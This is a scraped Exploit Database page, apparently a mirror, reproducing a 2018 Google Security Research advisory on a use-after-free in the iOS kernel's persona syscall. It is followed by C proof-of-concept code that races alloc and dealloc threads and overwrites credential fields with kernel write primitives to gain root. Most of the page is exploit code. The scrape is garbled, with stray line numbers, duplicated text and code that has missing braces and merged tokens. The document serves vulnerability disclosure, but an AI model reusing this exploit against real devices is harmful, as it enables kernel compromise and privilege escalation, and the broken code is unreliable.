Apple iOS Kernel – Use-After-Free due to bad Error Handling in Personas

Exploit Database
118 阅读

作者： Google Security Research

日期： 2018-10-22
类别：
- dos
平台：
- ios
来源：https://www.exploit-db.com/exploits/45652/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:

In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:

error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));

if (error)

goto out_error;

This jumps here:

if (persona)

persona_put(persona);

At this point the persona is actually in the global list and the reference has been transfered there; this code

is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.

The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),

causing an extra call to persona_put.

It's probably possible to make the failing copyout take a long time,

allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.

This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln

is still there, but I cannot test it.

It should be easy to fix up this PoC to run as root in your testing environment.

// @i41nbeer

#include "test_next_exploit.h"

#include <unistd.h>

#include <pthread.h>

#include <string.h>

#include "kmem.h"

iOS kernel UaF due to bad error handling in personas

There was recently some cleanup in the persona code to fix some race conditions there, I don't think it was sufficient:

In kpersona_alloc_syscall if we provide an invalid userspace pointer for the ipd outptr we can cause this copyout to fail:

error = copyout(&persona->pna_id, idp, sizeof(persona->pna_id));

if (error)

goto out_error;

This jumps here:

if (persona)

persona_put(persona);

At this point the persona is actually in the global list and the reference has been transfered there; this code

is mistakenly assuming that userspace can't still race a dealloc call because it doesn't know the id.

The id is attacker controlled so it's easy to still race this (ie we call persona_alloc in one thread, and dealloc in another),

causing an extra call to persona_put.

It's probably possible to make the failing copyout take a long time,

allowing us to gc and zone-swap the page leading to the code attempting to drop a ref on a different type.

This PoC has been tested on iOS 11.3.1 because it requires root. I have taken a look at an iOS 12 beta and it looks like the vuln

is still there, but I cannot test it.

It should be easy to fix up this PoC to run as root in your testing environment.

#define NGROUPS 16

#define MAXLOGNAME 255

struct kpersona_info {

uint32_t persona_info_version;

uid_tpersona_id; /* overlaps with UID */

intpersona_type;

gid_tpersona_gid;

uint32_t persona_ngroups;

gid_tpersona_groups[NGROUPS];

uid_tpersona_gmuid;

char persona_name[MAXLOGNAME+1];

/* TODO: MAC policies?! */

};

enum {

PERSONA_INVALID = 0,

PERSONA_GUEST = 1,

PERSONA_MANAGED = 2,

PERSONA_PRIV= 3,

PERSONA_SYSTEM= 4,

PERSONA_TYPE_MAX = PERSONA_SYSTEM,

};

#define PERSONA_OP_ALLOC1

#define PERSONA_OP_DEALLOC2

#define PERSONA_OP_GET3

#define PERSONA_OP_INFO 4

#define PERSONA_OP_PIDINFO5

#define PERSONA_OP_FIND 6

#define PERSONA_INFO_V1 1

#define PERSONA_SYSCALL_NUMBER 494

int sys_persona(uint32_t operation, uint32_t flags, struct kpersona_info *info, uid_t *id, size_t *idlen) {

return syscall(PERSONA_SYSCALL_NUMBER, operation, flags, info, id, idlen);

}

void persona_dealloc() {

uid_t uid = 235;

size_t uid_size = sizeof(uid);

int perr = sys_persona(PERSONA_OP_DEALLOC, 0, NULL, &uid, &uid_size);

printf("dealloc perr: 0x%x\n", perr);

}

void* persona_bad_alloc() {

// let's try to alloc a persona:

struct kpersona_info info = {0};

uid_t kpersona_uid = -123;

size_t kpersona_uid_size = sizeof(kpersona_uid);

info.persona_info_version = PERSONA_INFO_V1;

strcpy(info.persona_name, "a_name2");

info.persona_id = 235;

info.persona_type = PERSONA_GUEST;

int perr = sys_persona(PERSONA_OP_ALLOC, 0, &info, NULL/*&kpersona_uid*/, &kpersona_uid_size);

printf("err: %x\n", perr);

printf("kpersona_uid: %d\n", kpersona_uid);

return NULL;

}

void* dealloc_thread_func(void* arg) {

int uid = getuid();

printf("dealloc thread uid: %d\n", uid);

// got r00t?

while(1) {

persona_dealloc();

}

void* alloc_thread_func(void* arg) {

int uid = getuid();

printf("alloc_thread uid: %d\n", uid);

// got r00t?

while(1) {

persona_bad_alloc();

}

void go(uint64_t thread_t) {

uint64_t bsd_thread_info = rk64(thread_t + 0x388);

uint64_t cred_t = rk64(bsd_thread_info + 0x160);

// uid:=0

wk32(cred_t+0x18, 0);

wk32(cred_t+0x1c, 0);

pthread_t dealloc_thread;

pthread_create(&dealloc_thread, NULL, dealloc_thread_func, NULL);

pthread_t alloc_thread;

pthread_create(&alloc_thread, NULL, alloc_thread_func, NULL);

pthread_join(dealloc_thread, NULL);

}